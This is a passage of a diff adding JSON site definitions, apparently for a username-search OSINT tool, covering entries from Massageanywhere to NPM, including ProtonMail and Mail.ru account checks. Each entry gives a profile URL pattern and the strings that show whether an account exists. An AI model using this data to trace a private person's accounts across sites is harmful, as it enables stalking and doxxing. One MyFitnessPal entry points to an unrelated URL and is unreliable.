"https://www.massageanywhere.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mastera-forum": { + "disabled": true, + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 3262221, + "urlMain": "https://www.mastera-forum.ru", + "usernameClaimed": "grunja", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Masterkrasok": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 402031, + "urlMain": "https://masterkrasok.ru", + "url": "https://masterkrasok.ru/{username}", + "usernameClaimed": "husnullin", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mastersofcrypto": { + "tags": [ + "forum" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "urlMain": "https://mastersofcrypto.com", + "url": "https://mastersofcrypto.com/forum/members/?username={username}", + "usernameClaimed": "kintum", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2838862 + }, + "Math10": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "phpBB", + "alexaRank": 76773, + "urlMain": "https://www.math10.com/", + "usernameClaimed": "phw", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mathhelpplanet": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 185231, + "urlMain": "http://mathhelpplanet.com", + "url": "http://mathhelpplanet.com/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Maxpark": { + "disabled": true, + "tags": [ + "news", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041e\u0428\u0418\u0411\u041a\u0410 50x", + "\u041e\u0428\u0418\u0411\u041a\u0410 404" + ], + "alexaRank": 66775, + "urlMain": "https://maxpark.com", + "url": "https://maxpark.com/user/{username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mbclub": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<!-- j_requested_page_not_found -->" + ], + "alexaRank": 315579, + "urlMain": "https://www.mbclub.ru/", + "url": "https://mbclub.ru/members/{username}", + "usernameClaimed": "qruiser.308", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mcbans": { + "tags": [ + "us" + ], + "checkType": "response_url", + "presenseStrs": [ + "Issued Bans" + ], + "alexaRank": 2671714, + "urlMain": "https://www.mcbans.com", + "url": "https://www.mcbans.com/player/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mcuuid": { + "checkType": "message", + "absenceStrs": [ + "minecraft.api_failure" + ], + "presenseStrs": [ + "Successfully found player by given ID." + ], + "url": "https://playerdb.co/api/player/minecraft/{username}", + "usernameClaimed": "bob", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mdregion": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 344586, + "urlMain": "https://www.mdregion.ru/", + "usernameClaimed": "Nadka", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mdshooters": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 296538, + "urlMain": "https://www.mdshooters.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mediarepost": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 3843048, + "urlMain": "https://mediarepost.ru", + "url": "https://mediarepost.ru/@{username}", + "usernameClaimed": "Solo_", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Medikforum": { + "disabled": true, + "tags": [ + "de", + "forum", + "nl", + "ru", + "ua" + ], + "errors": { + "\u0412\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438 \u043f\u043e\u0438\u0441\u043a \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e": "Rate limit" + }, + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 103341, + "urlMain": "https://www.medikforum.ru", + "url": "https://www.medikforum.ru/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Medium": { + "tags": [ + "blog", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "userPostCounts" + ], + "absenceStrs": [ + ":{\"__typename\":\"NotFound\"},\"viewer\"" + ], + "alexaRank": 66, + "urlMain": "https://medium.com/", + "url": "https://medium.com/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Medyczka.pl": { + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "presenseStrs": [ + "Lista uzytkownikow" + ], + "url": "http://medyczka.pl/user/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Meendo": { + "tags": [ + "bg", + "kg", + "ru", + "ua" + ], + "checkType": "status_code", + "alexaRank": 432700, + "urlMain": "https://www.meendo.net", + "url": "https://www.meendo.net/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MeetMe": { + "tags": [ + "in", + "us" + ], + "errors": { + "fa fa-spinner fa-pulse loading-icon-lg": "Registration page" + }, + "checkType": "response_url", + "alexaRank": 41961, + "urlMain": "https://www.meetme.com/", + "url": "https://www.meetme.com/{username}", + "errorUrl": "https://www.meetme.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Megamodels.pl": { + "checkType": "message", + "absenceStrs": [ + "OSTATNIO AKTYWNE PROFILE" + ], + "presenseStrs": [ + "Portfolio" + ], + "url": "http://megamodels.pl/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Megane2": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d. \u041f\u043e\u0436\u0430\u043b\u0443\u0439\u0441\u0442\u0430, \u0432\u0432\u0435\u0434\u0438\u0442\u0435 \u0434\u0440\u0443\u0433\u043e\u0435 \u0438\u043c\u044f." + ], + "alexaRank": 788808, + "urlMain": "http://megane2.ru/", + "url": "http://megane2.ru/forum/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Memrise": { + "tags": [ + "jp", + "us" + ], + "checkType": "response_url", + "alexaRank": 8823, + "urlMain": "https://www.memrise.com/", + "url": "https://www.memrise.com/user/{username}/", + "errorUrl": "https://www.memrise.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MetaDiscourse": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "alexaRank": 27985, + "urlMain": "https://meta.discourse.org/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ProtonMail": { + "tags": [ + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Username already used" + ], + "absenceStrs": [ + "\"Code\": 1000" + ], + "headers": { + "X-Pm-Appversion": "web-account@4.28.2" + }, + "alexaRank": 27985, + "url": "https://account.protonmail.com/api/users/available?Name={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Metacafe": { + "disabled": true, + "tags": [ + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Channel is temporarily not available" + ], + "alexaRank": 22904, + "urlMain": "https://www.metacafe.com/", + "url": "https://www.metacafe.com/channels/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Metal-archives": { + "tags": [ + "de", + "music", + "pl", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Points:" + ], + "absenceStrs": [ + "User not found" + ], + "alexaRank": 15612, + "urlMain": "https://www.metal-archives.com", + "url": "https://www.metal-archives.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Microchip": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 2924330, + "urlMain": "http://www.microchip.su", + "usernameClaimed": "nightavenger", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MicrosoftTechNet": { + "disabled": true, + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 21, + "urlMain": "https://social.technet.microsoft.com", + "url": "https://social.technet.microsoft.com/profile/{username}/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Minecraft-statistic": { + "tags": [ + "ru", + "ua", + "us" + ], + "checkType": "status_code", + "alexaRank": 660021, + "urlMain": "https://minecraft-statistic.net", + "url": "https://minecraft-statistic.net/ru/player/{username}.html", + "usernameClaimed": "Right", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Minecraftlist": { + "checkType": "message", + "absenceStrs": [ + "0 Minecraft servers recently" + ], + "presenseStrs": [ + "was seen on" + ], + "url": "https://minecraftlist.com/players/{username}", + "usernameClaimed": "dream", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MinecraftOnly": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "gaming", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 393218, + "urlMain": "https://minecraftonly.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Miped": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 67599, + "urlMain": "https://miped.ru", + "url": "https://miped.ru/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MirTesen": { + "similarSearch": true, + "tags": [ + "news", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0412\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + ], + "presenseStrs": [ + "<span>\u041b\u044e\u0434\u0438</span>" + ], + "alexaRank": 6409, + "urlMain": "https://mirtesen.ru", + "url": "https://mirtesen.ru/people/{username}/profile", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mistrzowie": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "url": "https://mistrzowie.org/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mix": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 10257, + "urlMain": "https://mix.com", + "url": "https://mix.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MixCloud": { + "tags": [ + "music" + ], + "urlProbe": "https://api.mixcloud.com/{username}/", + "checkType": "status_code", + "alexaRank": 3270, + "urlMain": "https://www.mixcloud.com/", + "url": "https://www.mixcloud.com/{username}/", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mixlr": { + "tags": [ + "gb" + ], + "checkType": "status_code", + "urlMain": "http:/mixlr.com/", + "url": "http://api.mixlr.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mixupload": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenseStrs": [ + "\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c" + ], + "alexaRank": 159856, + "urlMain": "https://mixupload.com/", + "url": "https://mixupload.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mobile-files": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "vBulletin", + "alexaRank": 130297, + "urlMain": "https://www.mobile-files.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mobrep": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<div class=\"users\">\n <ul>\n </ul>" + ], + "alexaRank": 387120, + "urlMain": "https://www.mobrep.ru", + "url": "https://www.mobrep.ru/users?criteria={username}", + "usernameClaimed": "alextsaryev99", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mobypicture": { + "tags": [ + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenseStrs": [ + "Last mentioned in:" + ], + "alexaRank": 18618, + "urlMain": "http://www.mobypicture.com", + "url": "http://www.mobypicture.com/user/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "ModDB": { + "tags": [ + "au", + "cn", + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 6402, + "urlMain": "https://www.moddb.com/", + "url": "https://www.moddb.com/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Modx_pro": { + "tags": [ + "ru", + "uz" + ], + "checkType": "status_code", + "alexaRank": 249537, + "urlMain": "https://modx.pro", + "url": "https://modx.pro/users/{username}", + "usernameClaimed": "vgrish", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MoiKrug": { + "tags": [ + "career", + "us" + ], + "checkType": "status_code", + "alexaRank": 140879, + "urlMain": "https://moikrug.ru/", + "url": "https://moikrug.ru/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Money-talk": { + "tags": [ + "in", + "ua" + ], + "errors": { + "Could not connect to the database": "Site error", + "You have been banned from this forum.": "IP ban" + }, + "checkType": "message", + "absenceStrs": [ + ">Contact </span></td>" + ], + "alexaRank": 666935, + "urlMain": "http://www.money-talk.org", + "url": "http://www.money-talk.org/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "Gaia1956", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "MoneySavingExpert": { + "tags": [ + "forum", + "gb" + ], + "checkType": "status_code", + "alexaRank": 10821, + "urlMain": "https://forums.moneysavingexpert.com", + "url": "https://forums.moneysavingexpert.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Monkingme": { + "disabled": true, + "tags": [ + "es", + "in", + "ir" + ], + "checkType": "message", + "absenceStrs": [ + "<h1>Not Found</h1>" + ], + "alexaRank": 295109, + "urlMain": "https://www.monkingme.com/", + "url": "https://www.monkingme.com/artist/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MoscowFlamp": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u0430\u044f \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430, \u043a\u0430\u043a\u0438\u0445 \u0431\u043e\u043b\u044c\u0448\u0435 \u043d\u0435 \u0434\u0435\u043b\u0430\u044e\u0442" + ], + "alexaRank": 21348, + "urlMain": "https://moscow.flamp.ru/", + "url": "https://moscow.flamp.ru/{username}", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Motokiller": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono u\u017cytkownika o podanym loginie." + ], + "presenseStrs": [ + "Zamieszcza materia\u0142y od:" + ], + "url": "https://mklr.pl/user/{username}", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Motorradfrage": { + "checkType": "status_code", + "url": "https://www.motorradfrage.net/nutzer/{username}", + "usernameClaimed": "gutefrage", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Motorka": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 339514, + "urlMain": "https://forum.motorka.org", + "usernameClaimed": "zavitay", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mouthshut": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 9854, + "urlMain": "https://www.mouthshut.com/", + "url": "https://www.mouthshut.com/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Movescount": { + "tags": [ + "maps" + ], + "disabled": true, + "checkType": "message", + "absenceStrs": [ + "error=4&" + ], + "alexaRank": 141905, + "urlMain": "http://www.movescount.com", + "url": "http://www.movescount.com/en/members/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Movie-forum": { + "tags": [ + "forum", + "pk" + ], + "engine": "vBulletin", + "alexaRank": 1242615, + "urlMain": "https://movie-forum.co", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Movie-list": { + "urlSubpath": "/forum", + "tags": [ + "ca", + "forum", + "in", + "pk" + ], + "engine": "vBulletin", + "alexaRank": 670388, + "urlMain": "https://www.movie-list.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Movieforums": { + "tags": [ + "forum", + "in", + "la" + ], + "checkType": "message", + "absenceStrs": [ + "This user has not registered and therefore does not have a profile to view." + ], + "alexaRank": 198401, + "urlMain": "https://www.movieforums.com", + "url": "https://www.movieforums.com/community/member.php?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mozilla Support": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + ">Page Not Found</h1>", + "error-page", + "sumo-page-intro", + "search-results-visible page-not-found", + "search-empty" + ], + "alexaRank": 172, + "urlMain": "https://support.mozilla.org", + "url": "https://support.mozilla.org/en-US/user/{username}/", + "usernameClaimed": "derekmarable", + "usernameUnclaimed": "tasgcxxxcz", + "presenseStrs": [ + "user-nav", + "</article>", + "sidebar-nav", + "noindex", + "sidebar-nav--item" + ], + "headers": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36" + } + }, + "Mpgh": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "jp", + "us" + ], + "engine": "vBulletin", + "alexaRank": 39467, + "urlMain": "https://www.mpgh.net/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Msofficeforums": { + "tags": [ + "forum", + "ir", + "us" + ], + "engine": "vBulletin", + "alexaRank": 170905, + "urlMain": "https://www.msofficeforums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MuffinGroup": { + "tags": [ + "forum", + "gaming" + ], + "checkType": "status_code", + "urlMain": "https://forum.muffingroup.com", + "url": "https://forum.muffingroup.com/betheme/profile/{username}", + "usernameClaimed": "charlie27", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 8613 + }, + "Munzee": { + "disabled": true, + "tags": [ + "gb" + ], + "checkType": "status_code", + "urlMain": "https://www.munzee.com/", + "url": "https://www.munzee.com/m/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 199809 + }, + "MurmanskLife": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<span class=\"userName\"></span>", + "error404-404" + ], + "urlMain": "http://murmansk-life.ru", + "url": "http://murmansk-life.ru/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Music-rock": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "urlMain": "http://music-rock.ru/", + "usernameClaimed": "green", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 7864999 + }, + "Musiker-board": { + "disabled": true, + "tags": [ + "de", + "forum" + ], + "engine": "XenForo", + "alexaRank": 171473, + "urlMain": "https://www.musiker-board.de", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My-question": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 406064, + "urlMain": "https://my-question.ru", + "url": "https://my-question.ru/user/{username}", + "usernameClaimed": "nunny_zn", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@OK": { + "tags": [ + "ru" + ], + "type": "ok_id", + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "<title>\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/ok/{username}", + "usernameClaimed": "524140807468", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@VK": { + "tags": [ + "ru" + ], + "type": "vk_id", + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/vk/{username}", + "usernameClaimed": "337779600", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@bk.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/bk/{username}/", + "usernameClaimed": "tanyagorohova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@gmail.com": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/gmail.com/{username}/", + "usernameClaimed": "chelsea121232", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@list.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/list/{username}/", + "usernameClaimed": "nickname", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@mail.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/mail/{username}/", + "usernameClaimed": "nickname", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "My.Mail.ru@ya.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/ya.ru/{username}/", + "usernameClaimed": "hovsepovich", + "usernameUnclaimed": "MAlKOVyd" + }, + "My.Mail.ru@yandex.ru": { + "tags": [ + "ru" + ], + "checkType": "message", + "presenceStrs": [ + "profile__content_header_user" + ], + "absenceStrs": [ + "mm-profile_not-found_content", + "\u041c\u043e\u0439 \u041c\u0438\u0440@Mail.Ru" + ], + "alexaRank": 49, + "urlMain": "https://my.mail.ru/", + "url": "https://my.mail.ru/yandex.ru/{username}/", + "usernameClaimed": "proftek2015", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MyAnimeList": { + "tags": [ + "movies" + ], + "checkType": "status_code", + "alexaRank": 869, + "urlMain": "https://myanimelist.net/", + "url": "https://myanimelist.net/profile/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MyFitnessPal": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "meta name=\"robots\" content=\"index,follow\"/>" + ], + "url": "https://mym.fans/{username}", + "usernameClaimed": "Djelizamay", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "MyMiniFactory": { + "tags": [ + "gb", + "us" + ], + "checkType": "status_code", + "alexaRank": 17860, + "urlMain": "https://www.myminifactory.com/", + "url": "https://www.myminifactory.com/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mybuilder": { + "tags": [ + "gb", + "hk", + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 120038, + "urlMain": "https://www.mybuilder.com", + "url": "https://www.mybuilder.com/profile/view/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mydarling": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "urlMain": "http://mydarling.ru/", + "url": "http://mydarling.ru/page/{username}/frl-4", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 10282751 + }, + "Myjane": { + "tags": [ + "bg", + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + " - \u0416\u0435\u043d\u0441\u043a\u0438\u0435 \u0444\u043e\u0440\u0443\u043c\u044b myJane" + ], + "alexaRank": 101251, + "urlMain": "http://forum.myjane.ru/", + "url": "http://forum.myjane.ru/profile.php?mode=viewprofile&u={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mylespaul": { + "tags": [ + "cl", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 126443, + "urlMain": "https://www.mylespaul.com", + "url": "https://www.mylespaul.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "Mylot": { + "tags": [ + "fr", + "in", + "pl", + "us" + ], + "checkType": "status_code", + "alexaRank": 102219, + "urlMain": "https://www.mylot.com/", + "url": "https://www.mylot.com/{username}", + "usernameClaimed": "just4him", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mylove": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 499216, + "urlMain": "https://lovetalk.ru", + "url": "https://lovetalk.ru/{username}/#window_close", + "usernameClaimed": "lisa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Myspace": { + "tags": [ + "blog" + ], + "checkType": "status_code", + "alexaRank": 1497, + "urlMain": "https://myspace.com/", + "url": "https://myspace.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Mywed": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "alexaRank": 107111, + "urlMain": "https://mywed.com/ru", + "url": "https://mywed.com/ru/photographer/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "N4g": { + "tags": [ + "gaming", + "news", + "us" + ], + "checkType": "message", + "presenseStrs": [ + "Member" + ], + "absenceStrs": [ + "The resource you are looking for has been removed, had its name changed, or is temporarily unavailable." + ], + "alexaRank": 12402, + "urlMain": "https://n4g.com/", + "url": "https://n4g.com/user/home/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Naturalnews": { + "checkType": "message", + "absenceStrs": [ + "The page you are looking for cannot be found or is no longer available." + ], + "presenseStrs": [ + "All posts by" + ], + "url": "https://naturalnews.com/author/{username}/", + "usernameClaimed": "healthranger", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NICommunityForum": { + "tags": [ + "forum" + ], + "engine": "XenForo", + "urlMain": "https://www.native-instruments.com/forum/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis", + "alexaRank": 13739 + }, + "Ninjakiwi": { + "checkType": "message", + "absenceStrs": [ + "Ninja Kiwi - Free Online Games, Mobile Games & Tower Defense Games" + ], + "presenseStrs": [ + "Ninja Kiwi" + ], + "url": "https://ninjakiwi.com/profile/{username}", + "usernameClaimed": "uehkon89", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NN.RU": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 21588, + "urlMain": "https://www.nn.ru/", + "url": "https://{username}.www.nn.ru/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "NPM": { + "tags": [ + "coding" + ], + "checkType": "status_code", + "alexaRank": 5944, + "urlMain": "https://www.npmjs.com/", + "url": 